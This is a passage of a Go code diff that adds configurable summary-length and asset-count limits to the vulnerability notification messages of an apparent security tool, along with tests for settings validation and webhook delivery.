 			_ = n.pg.FailDeliveries(ctx, []int64{dl.ID}, err.Error())
@@ -259,7 +272,7 @@ func (n *Notifier) stepDigest(ctx context.Context, ch *db.NotificationChannel, a
 		_ = n.pg.FailDeliveries(ctx, deliveryIDs(deliveries), fmt.Sprintf("channel type %q is not registered", ch.Kind))
 		return
 	}
-	msg, included, err := n.renderBatch(ctx, deliveries, baseURL, int(window.Minutes()))
+	msg, included, err := n.renderBatch(ctx, deliveries, baseURL, int(window.Minutes()), notifyLimits(n.pg))
 	if err != nil {
 		_ = n.pg.FailDeliveries(ctx, deliveryIDs(deliveries), err.Error())
 		return
@@ -423,7 +436,7 @@ func (n *Notifier) adapt(ch *db.NotificationChannel) (notify.Channel, map[string
 }
 
 // renderSingle renders a single-vulnerability message.
-func (n *Notifier) renderSingle(ctx context.Context, dl *db.NotificationDelivery, baseURL string) (notify.Message, error) {
+func (n *Notifier) renderSingle(ctx context.Context, dl *db.NotificationDelivery, baseURL string, limits notify.Limits) (notify.Message, error) {
 	snap, err := parseSnapshot(dl)
 	if err != nil {
 		return notify.Message{}, err
@@ -432,7 +445,7 @@ func (n *Notifier) renderSingle(ctx context.Context, dl *db.NotificationDelivery
 	if err != nil {
 		return notify.Message{}, err
 	}
-	return notify.Message{Items: []notify.Item{item}, HomeURL: baseURL}, nil
+	return notify.Message{Items: []notify.Item{item}, HomeURL: baseURL, Limits: &limits}, nil
 }
 
 // renderBatch renders a digest message. Snapshots are parsed one by one — a
@@ -446,7 +459,7 @@ func (n *Notifier) renderSingle(ctx context.Context, dl *db.NotificationDelivery
 // entry that should have failed would be marked sent, and a good entry would be
 // misjudged as undelivered. The broken ones are marked failed explicitly by the
 // caller, see stepDigest.
-func (n *Notifier) renderBatch(ctx context.Context, deliveries []*db.NotificationDelivery, baseURL string, windowMinutes int) (notify.Message, []*db.NotificationDelivery, error) {
+func (n *Notifier) renderBatch(ctx context.Context, deliveries []*db.NotificationDelivery, baseURL string, windowMinutes int, limits notify.Limits) (notify.Message, []*db.NotificationDelivery, error) {
 	items := make([]notify.Item, 0, len(deliveries))
 	included := make([]*db.NotificationDelivery, 0, len(deliveries))
 	for _, dl := range deliveries {
@@ -473,6 +486,7 @@ func (n *Notifier) renderBatch(ctx context.Context, deliveries []*db.Notificatio
 		Batch:         true,
 		WindowMinutes: windowMinutes,
 		HomeURL:       baseURL,
+		Limits:        &limits,
 	}, included, nil
 }
 
@@ -582,6 +596,30 @@ func (n *Notifier) digestInterval() time.Duration {
 	return time.Duration(m) * time.Minute
 }
 
+// notifyLimits reads the summary/asset render limits from the settings.
+func notifyLimits(pg *db.DB) notify.Limits {
+	summary, sOK, _ := pg.GetSetting(settingNotifySummaryMaxRunes)
+	assets, aOK, _ := pg.GetSetting(settingNotifyAssetsMaxShown)
+	return notify.Limits{
+		SummaryRunes: notifyLimitValue(summary, sOK, notify.DefaultMaxSummaryRunes, notifySummaryMaxRunesCap),
+		AssetsShown:  notifyLimitValue(assets, aOK, notify.DefaultMaxAssetsShown, notifyAssetsMaxShownCap),
+	}
+}
+
+// notifyLimitValue resolves one stored render limit: def when the key is unset,
+// unparseable, or outside [0, max]. 0 is a valid value (no truncation), which is
+// why "unset" is carried by ok and not by the number.
+func notifyLimitValue(v string, ok bool, def, max int) int {
+	if !ok {
+		return def
+	}
+	n, err := strconv.Atoi(strings.TrimSpace(v))
+	if err != nil || n < 0 || n > max {
+		return def
+	}
+	return n
+}
+
 // parseSnapshot parses the snapshot of the event a delivery corresponds to.
 func parseSnapshot(dl *db.NotificationDelivery) (notify.Snapshot, error) {
 	var snap notify.Snapshot

server/notify_api.go

@@ -447,6 +447,8 @@ func (s *Server) notifyTestChannel(w http.ResponseWriter, r *http.Request) {
 		return
 	}
 	msg := notifyTestMessage(s.notifierBaseURL(pg))
+	limits := notifyLimits(pg)
+	msg.Limits = &limits
 	start := time.Now()
 	// The test message is a single entry, so the delivered count is not needed
 	// here (for a single message the channel length limit falls back to

server/notify_api_test.go

@@ -700,6 +700,108 @@ func TestNotifyMetaAndSettingsRoundTrip(t *testing.T) {
 	}
 }
 
+// TestNotifyLimitSettingsRoundTrip covers the two render-limit keys through the
+// settings API and the settings table: unset reads as the 120 / 3 defaults, a
+// stored 0 reads back as 0 (no truncation) and not as the default, and
+// out-of-range values are rejected without touching the stored value.
+func TestNotifyLimitSettingsRoundTrip(t *testing.T) {
+	f := newNotifyFixture(t)
+	clear := func() {
+		f.pg.Exec(`DELETE FROM settings WHERE key IN ($1,$2)`, settingNotifySummaryMaxRunes, settingNotifyAssetsMaxShown)
+	}
+	clear()
+	t.Cleanup(clear)
+	expect := func(step string, summary, assets int) {
+		t.Helper()
+		payload := f.s.settingsPayload()
+		if payload["notify_summary_max_runes"] != summary || payload["notify_assets_max_shown"] != assets {
+			t.Fatalf("%s: settings payload should report %d / %d, got %v / %v", step, summary, assets,
+				payload["notify_summary_max_runes"], payload["notify_assets_max_shown"])
+		}
+		if got := notifyLimits(f.pg); got != (notify.Limits{SummaryRunes: summary, AssetsShown: assets}) {
+			t.Fatalf("%s: the delivery engine should read %d / %d, got %+v", step, summary, assets, got)
+		}
+	}
+	expect("unset", notify.DefaultMaxSummaryRunes, notify.DefaultMaxAssetsShown)
+
+	for _, tc := range []struct{ summary, assets int }{{500, 10}, {0, 0}, {4000, 50}} {
+		body := fmt.Sprintf(`{"notify_summary_max_runes":%d,"notify_assets_max_shown":%d}`, tc.summary, tc.assets)
+		if r := f.request("PUT", "/api/settings", body); r.Code != 200 {
+			t.Fatalf("%s failed %d: %s", body, r.Code, r.Body)
+		}
+		expect(body, tc.summary, tc.assets)
+		for key, want := range map[string]int{settingNotifySummaryMaxRunes: tc.summary, settingNotifyAssetsMaxShown: tc.assets} {
+			if v, ok, err := f.pg.GetSetting(key); err != nil || !ok || v != strconv.Itoa(want) {
+				t.Fatalf("%s: settings row %s should hold %d, got %q (ok=%v err=%v)", body, key, want, v, ok, err)
+			}
+		}
+	}
+
+	for _, body := range []string{
+		`{"notify_summary_max_runes":-1}`,
+		`{"notify_summary_max_runes":4001}`,
+		`{"notify_assets_max_shown":-1}`,
+		`{"notify_assets_max_shown":51}`,
+	} {
+		if r := f.request("PUT", "/api/settings", body); r.Code != 400 {
+			t.Errorf("%s should return 400, got %d", body, r.Code)
+		}
+	}
+	expect("after rejected writes", 4000, 50)
+}
+
+// TestNotifySummaryLimitReachesDelivery is the end-to-end evidence that the
+// stored limit reaches the message actually sent: with the key unset the summary
+// is cut at 120 characters as before, and once it is set to 0 the same summary
+// goes out whole.
+func TestNotifySummaryLimitReachesDelivery(t *testing.T) {
+	f := newNotifyFixture(t)
+	clear := func() { f.pg.Exec(`DELETE FROM settings WHERE key=$1`, settingNotifySummaryMaxRunes) }
+	clear()
+	t.Cleanup(clear)
+	hook := newFakeWebhook(t)
+	chID := f.createChannel(t, map[string]any{
+		"name":   "summary limit",
+		"kind":   notify.KindDingTalk,
+		"config": map[string]any{"webhook": hook.URL},
+	})
+	summary := strings.Repeat("Z", 300)
+	record := func(name string) {
+		t.Helper()
+		if _, err := f.s.evidenceStore().Record(context.Background(), db.RecordFindingInput{
+			TaskID:        f.taskID,
+			ExplorationID: f.expID,
+			Worker:        "test",
+			VulnClass:     name,
+			Name:          name,
+			Severity:      "high",
+			Summary:       summary,
+			Evidence:      "poc",
+		}, nil); err != nil {
+			t.Fatalf("failed to record finding: %v", err)
+		}
+	}
+
+	record("summary limit unset")
+	f.deliver(t, chID, "")
+	text := markdownText(t, hook.last(t))
+	if !strings.Contains(text, strings.Repeat("Z", 119)+"…") || strings.Contains(text, strings.Repeat("Z", 120)) {
+		t.Fatalf("with the key unset the summary should be cut at 120 characters:\n%s", text)
+	}
+
+	if r := f.request("PUT", "/api/settings", `{"notify_summary_max_runes":0}`); r.Code != 200 {
+		t.Fatalf("failed to write settings %d: %s", r.Code, r.Body)
+	}
+	record("summary limit zero")
+	f.deliver(t, chID, "")
+	if hook.count() != 2 {
+		t.Fatalf("expected 2 messages sent, got %d", hook.count())
+	}
+	if text := markdownText(t, hook.last(t)); !strings.Contains(text, summary) {
+		t.Fatalf("with the limit at 0 the whole summary should be sent:\n%s", text)
+	}
+}
+
 // TestNotifyDeepLinkUsesPublicBaseURL covers back-link building: when
 // public_base_url is configured, single messages must use the ActionCard with a
 // button, and the link must point to the vulnerability detail page.
@@ -1008,3 +1110,30 @@ func TestNotifyTickBudgetFitsWithinLease(t *testing.T) {
 			worst, notifyLease, notifyMaxSendsPerChannelPerTick, notifySendTimeout)
 	}
 }
+
+// TestNotifyLimitValue pins how a stored render limit is resolved. The case that
+// matters is "0": it is a real value (no truncation) and must not be read as
+// "unset", while anything unparseable or outside the bounds falls back to the
+// default instead of reaching the renderer.
+func TestNotifyLimitValue(t *testing.T) {
+	const def, max = 120, 4000
+	cases := []struct {
+		v    string
+		ok   bool
+		want int
+	}{
+		{"", false, def},
+		{"0", true, 0},
+		{" 500 ", true, 500},
+		{"4000", true, max},
+		{"4001", true, def},
+		{"-1", true, def},
+		{"abc", true, def},
+		{"", true, def},
+	}
+	for _, tc := range cases {
+		if got := notifyLimitValue(tc.v, tc.ok, def, max); got != tc.want {
+			t.Errorf("notifyLimitValue(%q, %v) = %d, want %d", tc.v, tc.ok, got, tc.want)
+		}
+	}
+}